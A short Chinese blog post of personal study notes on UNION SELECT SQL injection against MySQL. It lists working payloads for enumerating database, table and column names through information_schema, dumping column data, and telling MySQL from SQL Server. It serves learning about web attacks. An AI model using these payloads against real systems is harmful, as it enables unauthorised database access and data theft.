显式Sql注入--Union Select联合注入

主要写作用来个人学习总结;

今天复习了一下Union Select注入手法,对联合注入有了新的一些认识;

首先因为某些需求,数据库需要Union函数去实现,具体见链接https://blog.csdn.net/chunqiuwei/article/details/8008625

然后针对Union出现了一些Sql注入攻击手法,以Mysql为例;

Mysql特性:数据库所有信息基本都存放在库information_schema中,其中表schemata存放所有数据库名

Union Select注入第一步,得到数据库名:union select 1,2,schema_name from information_schema.schemata

Union Select得到表名:union select 1,2,table_name from information_schema.tables where table_schema='数据库名'(这里使用两个引号'',或者使用数据库的16进制编码都可以,关键原理在于Where table_schema后面的数据如果没有进行修饰,数据库无法判断是变量还是字符串,故而会报错;所以需要使用''或者0x十六进制修饰为字符串,从而进行查询)

Union Select得到列名:union select 1,2,column_name from information_schema.columns where table_name='表名' and table_schema='数据库名'(原理同上括号内容)

Union Select获取数据:union select column1,column2,column3 from table

 

Sqlserver与Mysql区分:version()>0 and length(user())>0为mysql,version()>0 and not length(user())>0为Sqlserver

你可能感兴趣的:(显式Sql注入--Union Select联合注入)